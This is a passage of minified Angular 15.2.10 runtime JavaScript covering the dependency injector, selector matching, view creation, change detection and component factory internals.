e}const C4=new yn("Set Injector scope."),go={},dl={};let M4;function vo(){return void 0===M4&&(M4=new n6),M4}class ya{}class s6 extends ya{get destroyed(){return this._destroyed}constructor(t,i,r,o){super(),this.parent=i,this.source=r,this.scopes=o,this.records=new Map,this._ngOnDestroyHooks=new Set,this._onDestroyHooks=[],this._destroyed=!1,D4(t,v=>this.processProvider(v)),this.records.set(e6,Ha(void 0,this)),o.has("environment")&&this.records.set(ya,Ha(void 0,this));const l=this.records.get(C4);null!=l&&"string"==typeof l.value&&this.scopes.add(l.value),this.injectorDefTypes=new Set(this.get(t6.multi,at,Ie.Self))}destroy(){this.assertNotDestroyed(),this._destroyed=!0;try{for(const t of this._ngOnDestroyHooks)t.ngOnDestroy();for(const t of this._onDestroyHooks)t()}finally{this.records.clear(),this._ngOnDestroyHooks.clear(),this.injectorDefTypes.clear(),this._onDestroyHooks.length=0}}onDestroy(t){this._onDestroyHooks.push(t)}runInContext(t){this.assertNotDestroyed();const i=Fe(this),r=m(void 0);try{return t()}finally{Fe(i),m(r)}}get(t,i=Vt,r=Ie.Default){this.assertNotDestroyed(),r=xe(r);const o=Fe(this),l=m(void 0);try{if(!(r&Ie.SkipSelf)){let F=this.records.get(t);if(void 0===F){const Y=function ml(e){return"function"==typeof e||"object"==typeof e&&e instanceof yn}(t)&&w(t);F=Y&&this.injectableDefInScope(Y)?Ha(x4(t),go):null,this.records.set(t,F)}if(null!=F)return this.hydrate(t,F)}return(r&Ie.Self?vo():this.parent).get(t,i=r&Ie.Optional&&i===Vt?null:i)}catch(v){if("NullInjectorError"===v.name){if((v[qt]=v[qt]||[]).unshift(_(t)),o)throw v;return function Ct(e,t,i,r){const o=e[qt];throw t[_t]&&o.unshift(t[_t]),e.message=function jt(e,t,i,r=null){e=e&&"\\n"===e.charAt(0)&&e.charAt(1)==It?e.slice(2):e;let o=_(t);if(Array.isArray(t))o=t.map(_).join(" -> ");else if("object"==typeof t){let l=[];for(let v in t)if(t.hasOwnProperty(v)){let F=t[v];l.push(v+":"+("string"==typeof F?JSON.stringify(F):_(F)))}o=`{${l.join(", ")}}`}return`${i}${r?"("+r+")":""}[${o}]: ${e.replace(c1,"\\n ")}`}("\\n"+e.message,o,i,r),e[u1]=o,e[qt]=null,e}(v,t,"R3InjectorError",this.source)}throw v}finally{m(l),Fe(o)}}resolveInjectorInitializers(){const t=Fe(this),i=m(void 0);try{const r=this.get(g4.multi,at,Ie.Self);for(const o of r)o()}finally{Fe(t),m(i)}}toString(){const t=[],i=this.records;for(const r of i.keys())t.push(_(r));return`R3Injector[${t.join(", ")}]`}assertNotDestroyed(){if(this._destroyed)throw new Q(205,!1)}processProvider(t){let i=_a(t=z(t))?t:z(t&&t.provide);const r=function hl(e){return b4(e)?Ha(void 0,e.useValue):Ha(o6(e),go)}(t);if(_a(t)||!0!==t.multi)this.records.get(i);else{let o=this.records.get(i);o||(o=Ha(void 0,go,!0),o.factory=()=>J(o.multi),this.records.set(i,o)),i=t,o.multi.push(t)}this.records.set(i,r)}hydrate(t,i){return i.value===go&&(i.value=dl,i.value=i.factory()),"object"==typeof i.value&&i.value&&function pl(e){return null!==e&&"object"==typeof e&&"function"==typeof e.ngOnDestroy}(i.value)&&this._ngOnDestroyHooks.add(i.value),i.value}injectableDefInScope(t){if(!t.providedIn)return!1;const i=z(t.providedIn);return"string"==typeof i?"any"===i||this.scopes.has(i):this.injectorDefTypes.has(i)}}function x4(e){const t=w(e),i=null!==t?t.factory:ai(e);if(null!==i)return i;if(e instanceof yn)throw new Q(204,!1);if(e instanceof Function)return function ul(e){const t=e.length;if(t>0)throw er(t,"?"),new Q(204,!1);const i=function _e(e){return e&&(e[Je]||e[Dt])||null}(e);return null!==i?()=>i.factory(e):()=>new e}(e);throw new Q(204,!1)}function o6(e,t,i){let r;if(_a(e)){const o=z(e);return ai(o)||x4(o)}if(b4(e))r=()=>z(e.useValue);else if(function a6(e){return!(!e||!e.useFactory)}(e))r=()=>e.useFactory(...J(e.deps||[]));else if(function r6(e){return!(!e||!e.useExisting)}(e))r=()=>Pe(z(e.useExisting));else{const o=z(e&&(e.useClass||e.provide));if(!function fl(e){return!!e.deps}(e))return ai(o)||x4(o);r=()=>new o(...J(e.deps))}return r}function Ha(e,t,i=!1){return{factory:e,value:t,multi:i?[]:void 0}}function D4(e,t){for(const i of e)Array.isArray(i)?D4(i,t):i&&j(i)?D4(i.\\u0275providers,t):t(i)}class gl{}class w4{}class _l{resolveComponentFactory(t){throw function vl(e){const t=Error(`No component factory found for ${_(e)}. Did you add it to @NgModule.entryComponents?`);return t.ngComponent=e,t}(t)}}let zs=(()=>{class e{}return e.NULL=new _l,e})();function yl(){return Va(W1(),Tt())}function Va(e,t){return new Ts(_n(e,t))}let Ts=(()=>{class e{constructor(i){this.nativeElement=i}}return e.__NG_ELEMENT_ID__=yl,e})();function bl(e){return e instanceof Ts?e.nativeElement:e}class l6{}let Cl=(()=>{class e{}return e.__NG_ELEMENT_ID__=()=>function Ml(){const e=Tt(),i=Vn(W1().index,e);return(dn(i)?i:e)[D1]}(),e})(),xl=(()=>{class e{}return e.\\u0275prov=Be({token:e,providedIn:"root",factory:()=>null}),e})();class d6{constructor(t){this.full=t,this.major=t.split(".")[0],this.minor=t.split(".")[1],this.patch=t.split(".").slice(2).join(".")}}const Dl=new d6("15.2.10"),A4={},S4="ngOriginalError";function E4(e){return e[S4]}class Ls{constructor(){this._console=console}handleError(t){const i=this._findOriginalError(t);this._console.error("ERROR",t),i&&this._console.error("ORIGINAL ERROR",i)}_findOriginalError(t){let i=t&&E4(t);for(;i&&E4(i);)i=E4(i);return i||null}}function u6(e){return e.ownerDocument.defaultView}function h6(e){return e.ownerDocument}function Or(e){return e instanceof Function?e():e}function T4(e,t,i){let r=e.length;for(;;){const o=e.indexOf(t,i);if(-1===o)return o;if(0===o||e.charCodeAt(o-1)<=32){const l=t.length;if(o+l===r||e.charCodeAt(o+l)<=32)return o}i=o+1}}const f6="ng-template";function Ol(e,t,i){let r=0,o=!0;for(;r<e.length;){let l=e[r++];if("string"==typeof l&&o){const v=e[r++];if(i&&"class"===l&&-1!==T4(v.toLowerCase(),t,0))return!0}else{if(1===l){for(;r<e.length&&"string"==typeof(l=e[r++]);)if(l.toLowerCase()===t)return!0;return!1}"number"==typeof l&&(o=!1)}}return!1}function p6(e){return 4===e.type&&e.value!==f6}function Il(e,t,i){return t===(4!==e.type||i?e.value:f6)}function Rl(e,t,i){let r=4;const o=e.attrs||[],l=function Nl(e){for(let t=0;t<e.length;t++)if(kn(e[t]))return t;return e.length}(o);let v=!1;for(let F=0;F<t.length;F++){const Y=t[F];if("number"!=typeof Y){if(!v)if(4&r){if(r=2|1&r,""!==Y&&!Il(e,Y,i)||""===Y&&1===t.length){if(rr(r))return!1;v=!0}}else{const me=8&r?Y:t[++F];if(8&r&&null!==e.attrs){if(!Ol(e.attrs,me,i)){if(rr(r))return!1;v=!0}continue}const ft=Pl(8&r?"class":Y,o,p6(e),i);if(-1===ft){if(rr(r))return!1;v=!0;continue}if(""!==me){let zt;zt=ft>l?"":o[ft+1].toLowerCase();const Nt=8&r?zt:null;if(Nt&&-1!==T4(Nt,me,0)||2&r&&me!==zt){if(rr(r))return!1;v=!0}}}}else{if(!v&&!rr(r)&&!rr(Y))return!1;if(v&&rr(Y))continue;v=!1,r=Y|1&r}}return rr(r)||v}function rr(e){return 0==(1&e)}function Pl(e,t,i,r){if(null===t)return-1;let o=0;if(r||!i){let l=!1;for(;o<t.length;){const v=t[o];if(v===e)return o;if(3===v||6===v)l=!0;else{if(1===v||2===v){let F=t[++o];for(;"string"==typeof F;)F=t[++o];continue}if(4===v)break;if(0===v){o+=4;continue}}o+=l?1:2}return-1}return function Hl(e,t){let i=e.indexOf(4);if(i>-1)for(i++;i<e.length;){const r=e[i];if("number"==typeof r)return-1;if(r===t)return i;i++}return-1}(t,e)}function m6(e,t,i=!1){for(let r=0;r<t.length;r++)if(Rl(e,t[r],i))return!0;return!1}function Vl(e,t){e:for(let i=0;i<t.length;i++){const r=t[i];if(e.length===r.length){for(let o=0;o<e.length;o++)if(e[o]!==r[o])continue e;return!0}}return!1}function g6(e,t){return e?":not("+t.trim()+")":t}function Bl(e){let t=e[0],i=1,r=2,o="",l=!1;for(;i<e.length;){let v=e[i];if("string"==typeof v)if(2&r){const F=e[++i];o+="["+v+(F.length>0?\'="\'+F+\'"\':"")+"]"}else 8&r?o+="."+v:4&r&&(o+=" "+v);else""!==o&&!rr(v)&&(t+=g6(l,o),o=""),r=v,l=l||!rr(r);i++}return""!==o&&(t+=g6(l,o)),t}const U1={};function v6(e){_6(t1(),Tt(),hn()+e,!1)}function _6(e,t,i,r){if(!r)if(3==(3&t[h1])){const l=e.preOrderCheckHooks;null!==l&&M1(t,l,i)}else{const l=e.preOrderHooks;null!==l&&H1(t,l,0,i)}zn(i)}function M6(e,t=null,i=null,r){const o=x6(e,t,i,r);return o.resolveInjectorInitializers(),o}function x6(e,t=null,i=null,r,o=new Set){const l=[i||at,ol(e)];return r=r||("object"==typeof e?void 0:_(e)),new s6(l,t||vo(),r||null,o)}let ba=(()=>{class e{static create(i,r){if(Array.isArray(i))return M6({name:""},r,i,"");{const o=i.name??"";return M6({name:o},i.parent,i.providers,o)}}}return e.THROW_IF_NOT_FOUND=Vt,e.NULL=new n6,e.\\u0275prov=Be({token:e,providedIn:"any",factory:()=>Pe(e6)}),e.__NG_ELEMENT_ID__=-1,e})();function Ga(e,t=Ie.Default){const i=Tt();return null===i?Pe(e,t):Hr(W1(),i,z(e),t)}function E6(){throw new Error("invalid")}function z6(e,t){const i=e.contentQueries;if(null!==i)for(let r=0;r<i.length;r+=2){const l=i[r+1];if(-1!==l){const v=e.data[l];A1(i[r]),v.contentQueries(2,t[l],l)}}}function yo(e,t,i,r,o,l,v,F,Y,me,$e){const ft=t.blueprint.slice();return ft[w1]=o,ft[h1]=76|r,(null!==$e||e&&1024&e[h1])&&(ft[h1]|=1024),w2(ft),ft[N1]=ft[cn]=e,ft[E1]=i,ft[Gn]=v||e&&e[Gn],ft[D1]=F||e&&e[D1],ft[ci]=Y||e&&e[ci]||null,ft[In]=me||e&&e[In]||null,ft[V1]=l,ft[$n]=function vs(){return eo++}(),ft[li]=$e,ft[X1]=2==t.type?e[X1]:ft,ft}function ja(e,t,i,r,o){let l=e.data[t];if(null===l)l=function F4(e,t,i,r,o){const l=Bn(),v=Yn(),Y=e.data[t]=function f8(e,t,i,r,o,l){return{type:i,index:r,insertBeforeIndex:null,injectorIndex:t?t.injectorIndex:-1,directiveStart:-1,directiveEnd:-1,directiveStylingLast:-1,componentOffset:-1,propertyBindings:null,flags:0,providerIndexes:0,value:o,attrs:l,mergedAttrs:null,localNames:null,initialInputs:void 0,inputs:null,outputs:null,tView:null,next:null,prev:null,projectionNext:null,child:null,parent:t,projection:null,styles:null,stylesWithoutHost:null,residualStyles:void 0,classes:null,classesWithoutHost:null,residualClasses:void 0,classBindings:0,styleBindings:0}}(0,v?l:l&&l.parent,i,t,r,o);return null===e.firstChild&&(e.firstChild=Y),null!==l&&(v?null==l.child&&null!==Y.parent&&(l.child=Y):null===l.next&&(l.next=Y,Y.prev=l)),Y}(e,t,i,r,o),function yt(){return ye.lFrame.inI18n}()&&(l.flags|=32);else if(64&l.type){l.type=i,l.value=r,l.attrs=o;const v=function Dn(){const e=ye.lFrame,t=e.currentTNode;return e.isParent?t:t.parent}();l.injectorIndex=null===v?-1:v.injectorIndex}return sn(l,!0),l}function ks(e,t,i,r){if(0===i)return-1;const o=t.length;for(let l=0;l<i;l++)t.push(r),e.blueprint.push(r),e.data.push(null);return o}function N4(e,t,i){Q1(t);try{const r=e.viewQuery;null!==r&&W4(1,r,i);const o=e.template;null!==o&&T6(e,t,o,1,i),e.firstCreatePass&&(e.firstCreatePass=!1),e.staticContentQueries&&z6(e,t),e.staticViewQueries&&W4(2,e.viewQuery,i);const l=e.components;null!==l&&function d8(e,t){for(let i=0;i<t.length;i++)k8(e,t[i])}(t,l)}catch(r){throw e.firstCreatePass&&(e.incompleteFirstPass=!0,e.firstCreatePass=!1),r}finally{t[h1]&=-5,e2()}}function bo(e,t,i,r){const o=t[h1];if(128!=(128&o)){Q1(t);try{w2(t),function Z(e){return ye.lFrame.bindingIndex=e}(e.bindingStartIndex),null!==i&&T6(e,t,i,2,r);const v=3==(3&o);if(v){const me=e.preOrderCheckHooks;null!==me&&M1(t,me,null)}else{const me=e.preOrderHooks;null!==me&&H1(t,me,0,null),N(t,0)}if(function F6(e){for(let t=$r(e);null!==t;t=ir(t)){if(!t[di])continue;const i=t[Nn];for(let r=0;r<i.length;r++){const o=i[r];512&o[h1]||c2(o[N1],1),o[h1]|=512}}}(t),function T8(e){for(let t=$r(e);null!==t;t=ir(t))for(let i=ln;i<t.length;i++){const r=t[i],o=r[Qt];xn(r)&&bo(o,r,o.template,r[E1])}}(t),null!==e.contentQueries&&z6(e,t),v){const me=e.contentCheckHooks;null!==me&&M1(t,me)}else{const me=e.contentHooks;null!==me&&H1(t,me,1),N(t,1)}!function c8(e,t){const i=e.hostBindingOpCodes;if(null!==i)try{for(let r=0;r<i.length;r++){const o=i[r];if(o<0)zn(~o);else{const l=o,v=i[++r],F=i[++r];Ft(v,l),F(2,t[l])}}}finally{zn(-1)}}(e,t);const F=e.components;null!==F&&function l8(e,t){for(let i=0;i<t.length;i++)L8(e,t[i])}(t,F);const Y=e.viewQuery;if(null!==Y&&W4(2,Y,r),v){const me=e.viewCheckHooks;null!==me&&M1(t,me)}else{const me=e.viewHooks;null!==me&&H1(t,me,2),N(t,2)}!0===e.firstUpdatePass&&(e.firstUpdatePass=!1),t[h1]&=-41,512&t[h1]&&(t[h1]&=-513,c2(t[N1],-1))}finally{e2()}}}function T6(e,t,i,r,o){const l=hn(),v=2&r;try{zn(-1),v&&t.length>L1&&_6(e,t,L1,!1),bn(v?2:0,o),i(r,o)}finally{zn(l),bn(v?3:1,o)}}function H4(e,t,i){if(Ei(t)){const o=t.directiveEnd;for(let l=t.directiveStart;l<o;l++){const v=e.data[l];v.contentQueries&&v.contentQueries(1,i[l],l)}}}function V4(e,t,i){gt()&&(function b8(e,t,i,r){const o=i.directiveStart,l=i.directiveEnd;Hn(i)&&function S8(e,t,i){const r=_n(t,e),o=U4(i),l=e[Gn],v=xo(e,yo(e,o,null,i.onPush?32:16,r,t,l,l.createRenderer(r,i),null,null,null));e[t.index]=v}(t,i,e.data[o+i.componentOffset]),e.firstCreatePass||cr(i,t),et(r,t);const v=i.initialInputs;for(let F=o;F<l;F++){const Y=e.data[F],me=k2(t,e,F,i);et(me,t),null!==v&&E8(0,F-o,me,Y,0,v),pn(Y)&&(Vn(i.index,t)[E1]=k2(t,e,F,i))}}(e,t,i,_n(i,t)),64==(64&i.flags)&&R6(e,t,i))}function B4(e,t,i=_n){const r=t.localNames;if(null!==r){let o=t.index+1;for(let l=0;l<r.length;l+=2){const v=r[l+1],F=-1===v?i(t,e):e[v];e[o++]=F}}}function U4(e){const t=e.tView;return null===t||t.incompleteFirstPass?e.tView=G4(1,null,e.template,e.decls,e.vars,e.directiveDefs,e.pipeDefs,e.viewQuery,e.schemas,e.consts):t}function G4(e,t,i,r,o,l,v,F,Y,me){const $e=L1+r,ft=$e+o,zt=function u8(e,t){const i=[];for(let r=0;r<t;r++)i.push(r<e?null:U1);return i}($e,ft),Nt="function"==typeof me?me():me;return zt[Qt]={type:e,blueprint:zt,template:i,queries:null,viewQuery:F,declTNode:t,data:zt.slice().fill(null,$e),bindingStartIndex:$e,expandoStartIndex:ft,hostBindingOpCodes:null,firstCreatePass:!0,firstUpdatePass:!0,staticViewQueries:!1,staticContentQueries:!1,preOrderHooks:null,preOrderCheckHooks:null,contentHooks:null,contentCheckHooks:null,viewHooks:null,viewCheckHooks:null,destroyHooks:null,cleanup:null,contentQueries:null,components:null,directiveRegistry:"function"==typeof l?l():l,pipeRegistry:"function"==typeof v?v():v,firstChild:null,schemas:Y,consts:Nt,incompleteFirstPass:!1}}function L6(e,t,i,r){const o=N6(t);null===i?o.push(r):(o.push(i),e.firstCreatePass&&H6(e).push(r,o.length-1))}function k6(e,t,i,r){for(let o in e)if(e.hasOwnProperty(o)){i=null===i?{}:i;const l=e[o];null===r?O6(i,t,o,l):r.hasOwnProperty(o)&&O6(i,t,r[o],l)}return i}function O6(e,t,i,r){e.hasOwnProperty(i)?e[i].push(t,r):e[i]=[t,r]}function F2(e,t,i,r,o,l,v,F){const Y=_n(t,i);let $e,me=t.inputs;!F&&null!=me&&($e=me[r])?($4(e,i,$e,r,o),Hn(t)&&function g8(e,t){const i=Vn(t,e);16&i[h1]||(i[h1]|=32)}(i,t.index)):3&t.type&&(r=function m8(e){return"class"===e?"className":"for"===e?"htmlFor":"formaction"===e?"formAction":"innerHtml"===e?"innerHTML":"readonly"===e?"readOnly":"tabindex"===e?"tabIndex":e}(r),o=null!=v?v(o,t.value||"",r):o,l.setProperty(Y,r,o))}function Co(e,t,i,r){if(gt()){const o=null===r?null:{"":-1},l=function M8(e,t){const i=e.directiveRegistry;let r=null,o=null;if(i)for(let l=0;l<i.length;l++){const v=i[l];if(m6(t,v.selectors,!1))if(r||(r=[]),pn(v))if(null!==v.findHostDirectiveDefs){const F=[];o=o||new Map,v.findHostDirectiveDefs(v,F,o),r.unshift(...F,v),j4(e,t,F.length)}else r.unshift(v),j4(e,t,0);else o=o||new Map,v.findHostDirectiveDefs?.(v,r,o),r.push(v)}return null===r?null:[r,o]}(e,i);let v,F;null===l?v=F=null:[v,F]=l,null!==v&&I6(e,t,i,v,o,F),o&&function x8(e,t,i){if(t){const r=e.localNames=[];for(let o=0;o<t.length;o+=2){const l=i[t[o+1]];if(null==l)throw new Q(-301,!1);r.push(t[o],l)}}}(i,r,o)}i.mergedAttrs=wi(i.mergedAttrs,i.attrs)}function I6(e,t,i,r,o,l){for(let me=0;me<r.length;me++)Mr(cr(i,t),e,r[me].type);!function w8(e,t,i){e.flags|=1,e.directiveStart=t,e.directiveEnd=t+i,e.providerIndexes=t}(i,e.data.length,r.length);for(let me=0;me<r.length;me++){const $e=r[me];$e.providersResolver&&$e.providersResolver($e)}let v=!1,F=!1,Y=ks(e,t,r.length,null);for(let me=0;me<r.length;me++){const $e=r[me];i.mergedAttrs=wi(i.mergedAttrs,$e.hostAttrs),A8(e,i,t,Y,$e),D8(Y,$e,o),null!==$e.contentQueries&&(i.flags|=4),(null!==$e.hostBindings||null!==$e.hostAttrs||0!==$e.hostVars)&&(i.flags|=64);const ft=$e.type.prototype;!v&&(ft.ngOnChanges||ft.ngOnInit||ft.ngDoCheck)&&((e.preOrderHooks??(e.preOrderHooks=[])).push(i.index),v=!0),!F&&(ft.ngOnChanges||ft.ngDoCheck)&&((e.preOrderCheckHooks??(e.preOrderCheckHooks=[])).push(i.index),F=!0),Y++}!function p8(e,t,i){const o=t.directiveEnd,l=e.data,v=t.attrs,F=[];let Y=null,me=null;for(let $e=t.directiveStart;$e<o;$e++){const ft=l[$e],zt=i?i.get(ft):null,Kt=zt?zt.outputs:null;Y=k6(ft.inputs,$e,Y,zt?zt.inputs:null),me=k6(ft.outputs,$e,me,Kt);const r1=null===Y||null===v||p6(t)?null:z8(Y,$e,v);F.push(r1)}null!==Y&&(Y.hasOwnProperty("class")&&(t.flags|=8),Y.hasOwnProperty("style")&&(t.flags|=16)),t.initialInputs=F,t.inputs=Y,t.outputs=me}(e,i,l)}function R6(e,t,i){const r=i.directiveStart,o=i.directiveEnd,l=i.index,v=function Ut(){return ye.lFrame.currentDirectiveIndex}();try{zn(l);for(let F=r;F<o;F++){const Y=e.data[F],me=t[F];o1(F),(null!==Y.hostBindings||0!==Y.hostVars||null!==Y.hostAttrs)&&C8(Y,me)}}finally{zn(-1),o1(v)}}function C8(e,t){null!==e.hostBindings&&e.hostBindings(1,t)}function j4(e,t,i){t.componentOffset=i,(e.components??(e.components=[])).push(t.index)}function D8(e,t,i){if(i){if(t.exportAs)for(let r=0;r<t.exportAs.length;r++)i[t.exportAs[r]]=e;pn(t)&&(i[""]=e)}}function A8(e,t,i,r,o){e.data[r]=o;const l=o.factory||(o.factory=ai(o.type)),v=new ht(l,pn(o),Ga);e.blueprint[r]=v,i[r]=v,function _8(e,t,i,r,o){const l=o.hostBindings;if(l){let v=e.hostBindingOpCodes;null===v&&(v=e.hostBindingOpCodes=[]);const F=~t.index;(function y8(e){let t=e.length;for(;t>0;){const i=e[--t];if("number"==typeof i&&i<0)return i}return 0})(v)!=F&&v.push(F),v.push(i,r,l)}}(e,t,r,ks(e,i,o.hostVars,U1),o)}function pr(e,t,i,r,o,l){const v=_n(e,t);!function Mo(e,t,i,r,o,l,v){if(null==l)e.removeAttribute(t,o,i);else{const F=null==v?Ce(l):v(l,r||"",o);e.setAttribute(t,o,F,i)}}(t[D1],v,l,e.value,i,r,o)}function E8(e,t,i,r,o,l){const v=l[t];if(null!==v){const F=r.setInput;for(let Y=0;Y<v.length;){const me=v[Y++],$e=v[Y++],ft=v[Y++];null!==F?r.setInput(i,ft,me,$e):i[$e]=ft}}}function z8(e,t,i){let r=null,o=0;for(;o<i.length;){const l=i[o];if(0!==l)if(5!==l){if("number"==typeof l)break;if(e.hasOwnProperty(l)){null===r&&(r=[]);const v=e[l];for(let F=0;F<v.length;F+=2)if(v[F]===t){r.push(l,v[F+1],i[o+1]);break}}o+=2}else o+=2;else o+=4}return r}function P6(e,t,i,r){return[e,!0,!1,t,null,0,r,i,null,null]}function L8(e,t){const i=Vn(t,e);if(xn(i)){const r=i[Qt];48&i[h1]?bo(r,i,r.template,i[E1]):i[T1]>0&&Y4(i)}}function Y4(e){for(let r=$r(e);null!==r;r=ir(r))for(let o=ln;o<r.length;o++){const l=r[o];if(xn(l))if(512&l[h1]){const v=l[Qt];bo(v,l,v.template,l[E1])}else l[T1]>0&&Y4(l)}const i=e[Qt].components;if(null!==i)for(let r=0;r<i.length;r++){const o=Vn(i[r],e);xn(o)&&o[T1]>0&&Y4(o)}}function k8(e,t){const i=Vn(t,e),r=i[Qt];(function O8(e,t){for(let i=t.length;i<e.blueprint.length;i++)t.push(e.blueprint[i])})(r,i),N4(r,i,i[E1])}function xo(e,t){return e[fn]?e[Rn][Y1]=t:e[fn]=t,e[Rn]=t,t}function Do(e){for(;e;){e[h1]|=32;const t=C2(e);if(Fi(e)&&!t)return e;e=t}return null}function wo(e,t,i,r=!0){const o=t[Gn];o.begin&&o.begin();try{bo(e,t,e.template,i)}catch(v){throw r&&B6(t,v),v}finally{o.end&&o.end()}}function W4(e,t,i){A1(0),t(e,i)}function N6(e){return e[vn]||(e[vn]=[])}function H6(e){return e.cleanup||(e.cleanup=[])}function V6(e,t,i){return(null===e||pn(e))&&(i=function Mi(e){for(;Array.isArray(e);){if("object"==typeof e[Mn])return e;e=e[w1]}return null}(i[t.index])),i[D1]}function B6(e,t){const i=e[In],r=i?i.get(Ls,null):null;r&&r.handleError(t)}function $4(e,t,i,r,o){for(let l=0;l<i.length;){const v=i[l++],F=i[l++],Y=t[v],me=e.data[v];null!==me.setInput?me.setInput(Y,o,r,F):Y[F]=o}}function mr(e,t,i){const r=m2(t,e);!function to(e,t,i){e.setValue(t,i)}(e[D1],r,i)}function Ao(e,t,i){let r=i?e.styles:null,o=i?e.classes:null,l=0;if(null!==t)for(let v=0;v<t.length;v++){const F=t[v];"number"==typeof F?l=F:1==l?o=S(o,F):2==l&&(r=S(r,F+": "+t[++v]+";"))}i?e.styles=r:e.stylesWithoutHost=r,i?e.classes=o:e.classesWithoutHost=o}function So(e,t,i,r,o=!1){for(;null!==i;){const l=t[i.index];if(null!==l&&r.push(en(l)),Sn(l))for(let F=ln;F<l.length;F++){const Y=l[F],me=Y[Qt].firstChild;null!==me&&So(Y[Qt],Y,me,r)}const v=i.type;if(8&v)So(e,t,i.child,r);else if(32&v){const F=s2(i,t);let Y;for(;Y=F();)r.push(Y)}else if(16&v){const F=a4(t,i);if(Array.isArray(F))r.push(...F);else{const Y=C2(t[X1]);So(Y[Qt],Y,F,r,!0)}}i=o?i.projectionNext:i.next}return r}class Os{get rootNodes(){const t=this._lView,i=t[Qt];return So(i,t,i.firstChild,[])}constructor(t,i){this._lView=t,this._cdRefInjectingView=i,this._appRef=null,this._attachedToViewContainer=!1}get context(){return this._lView[E1]}set context(t){this._lView[E1]=t}get destroyed(){return 128==(128&this._lView[h1])}destroy(){if(this._appRef)this._appRef.detachView(this);else if(this._attachedToViewContainer){const t=this._lView[N1];if(Sn(t)){const i=t[_i],r=i?i.indexOf(this):-1;r>-1&&(xs(t,r),X2(i,r))}this._attachedToViewContainer=!1}ro(this._lView[Qt],this._lView)}onDestroy(t){L6(this._lView[Qt],this._lView,null,t)}markForCheck(){Do(this._cdRefInjectingView||this._lView)}detach(){this._lView[h1]&=-65}reattach(){this._lView[h1]|=64}detectChanges(){wo(this._lView[Qt],this._lView,this.context)}checkNoChanges(){}attachToViewContainerRef(){if(this._appRef)throw new Q(902,!1);this._attachedToViewContainer=!0}detachFromAppRef(){this._appRef=null,function Qo(e,t){ws(e,t,t[D1],2,null,null)}(this._lView[Qt],this._lView)}attachToAppRef(t){if(this._attachedToViewContainer)throw new Q(902,!1);this._appRef=t}}class U6 extends Os{constructor(t){super(t),this._view=t}detectChanges(){const t=this._view;wo(t[Qt],t,t[E1],!1)}checkNoChanges(){}get context(){return null}}class G6 extends zs{constructor(t){super(),this.ngModule=t}resolveComponentFactory(t){const i=O(t);return new Is(i,this.ngModule)}}function j6(e){const t=[];for(let i in e)e.hasOwnProperty(i)&&t.push({propName:e[i],templateName:i});return t}class Y6{constructor(t,i){this.injector=t,this.parentInjector=i}get(t,i,r){r=xe(r);const o=this.injector.get(t,A4,r);return o!==A4||i===A4?o:this.parentInjector.get(t,i,r)}}class Is extends w4{get inputs(){return j6(this.componentDef.inputs)}get outputs(){return j6(this.componentDef.outputs)}constructor(t,i){super(),this.componentDef=t,this.ngModule=i,this.componentType=t.type,this.selector=function Ul(e){return e.map(Bl).join(",")}(t.selectors),this.ngContentSelectors=t.ngContentSelectors?t.ngContentSelectors:[],this.isBoundToModule=!!i}create(t,i,r,o){let l=(o=o||this.ngModule)instanceof ya?o:o?.injector;l&&null!==this.componentDef.getStandaloneInjector&&(l=this.componentDef.getStandaloneInjector(l)||l);const v=l?new Y6(t,l):t,F=v.get(l6,null);if(null===F)throw new Q(407,!1);const Y=v.get(xl,null),me=F.createRenderer(null,this.componentDef),$e=this.componentDef.selectors[0][0]||"div",ft=r?function h8(e,t,i){return e.selectRootElement(t,i===fe.ShadowDom)}(me,r,this.componentDef.encapsulation):Ms(me,$e,function I8(e){const t=e.toLowerCase();return"svg"===t?Gi:"math"===t?"math":null}($e)),zt=this.componentDef.onPush?288:272,Nt=G4(0,null,null,1,0,null,null,null,null,null),Kt=yo(null,Nt,null,zt,null,null,F,me,Y,v,null);let r1,m1;Q1(Kt);try{const b1=this.componentDef;let R1,Xt=null;b1.findHostDirectiveDefs?(R1=[],Xt=new Map,b1.findHostDirectiveDefs(b1,R1,Xt),R1.push(b1)):R1=[b1];const j1=function R8(e,t){const i=e[Qt],r=L1;return e[r]=t,ja(i,r,2,"#host",null)}(Kt,ft),vi=function P8(e,t,i,r,o,l,v,F){const Y=o[Qt];!function F8(e,t,i,r){for(const o of e)t.mergedAttrs=wi(t.mergedAttrs,o.hostAttrs);null!==t.mergedAttrs&&(Ao(t,t.mergedAttrs,!0),null!==i&&P3(r,i,t))}(r,e,t,v);const me=l.createRenderer(t,i),$e=yo(o,U4(i),null,i.onPush?32:16,o[e.index],e,l,me,F||null,null,null);return Y.firstCreatePass&&j4(Y,e,r.length-1),xo(o,$e),o[e.index]=$e}(j1,ft,b1,R1,Kt,F,me);m1=pi(Nt,L1),ft&&function H8(e,t,i,r){if(r)rn(e,i,["ng-version",Dl.full]);else{const{attrs:o,classes:l}=function Gl(e){const t=[],i=[];let r=1,o=2;for(;r<e.length;){let l=e[r];if("string"==typeof l)2===o?""!==l&&t.push(l,e[++r]):8===o&&i.push(l);else{if(!rr(o))break;o=l}r++}return{attrs:t,classes:i}}(t.selectors[0]);o&&rn(e,i,o),l&&l.length>0&&R3(e,i,l.join(" "))}}(me,b1,ft,r),void 0!==i&&function V8(e,t,i){const r=e.projection=[];for(let o=0;o<t.length;o++){const l=i[o];r.push(null!=l?Array.from(l):null)}}(m1,this.ngContentSelectors,i),r1=function N8(e,t,i,r,o,l){const v=W1(),F=o[Qt],Y=_n(v,o);I6(F,o,v,i,null,r);for(let $e=0;$e<i.length;$e++)et(k2(o,F,v.directiveStart+$e,v),o);R6(F,o,v),Y&&et(Y,o);const me=k2(o,F,v.directiveStart+v.componentOffset,v);if(e[E1]=o[E1]=me,null!==l)for(const $e of l)$e(me,t);return H4(F,v,e),me}(vi,b1,R1,Xt,Kt,[B8]),N4(Nt,Kt,null)}finally{e2()}return new W6(this.componentType,r1,Va(m1,Kt),Kt,m1)}}class W6 extends gl{constructor(t,i,r,o,l){super(),this.location=r,this._rootLView=o,this._tNode=l,this.instance=i,this.hostView=this.changeDetectorRef=new U6(o),this.componentType=t}setInput(t,i){const r=this._tNode.inputs;let o;if(null!==r&&(o=r[t])){const l=this._rootLView;$4(l[Qt],l,o,t,i),Do(Vn(this._tNode.index,l))}}get injector(){return new O2(this._tNode,this._rootLView)}destroy(){this.hostView.destroy()}onDestroy(t){this.hostView.onDestroy(t)}}function B8(){const e=W1();y1(Tt()[Qt],e)}function K4(e){let t=function $6(e){return Object.getPrototypeOf(e.prototype).constructor}(e.type),i=!0;const r=[e];for(;t;){let 